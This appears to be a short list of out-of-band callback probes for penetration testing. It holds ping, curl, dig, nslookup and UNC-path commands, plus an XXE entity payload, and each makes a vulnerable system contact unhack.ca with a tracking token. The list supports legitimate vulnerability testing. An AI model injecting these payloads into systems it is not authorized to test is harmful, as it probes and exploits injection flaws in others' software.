$ ping -c1 -p 00b649a11413d602f8efb034118d4c00 unhack.ca
 

$ curl http://unhack.ca/p/b649a11413d602f8efb034118d4c
 

$ dig b649a11413d602f8efb034118d4c @unhack.ca
 

$ dig b649a11413d602f8efb034118d4c.ns.unhack.ca
 

C:\> nslookup b649a11413d602f8efb034118d4c unhack.ca
 

C:\> type \\unhack.ca\b649a11413d602f8efb034118d4c\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b649a11413d602f8efb034118d4c">]>
    <foo>&xxe;</foo>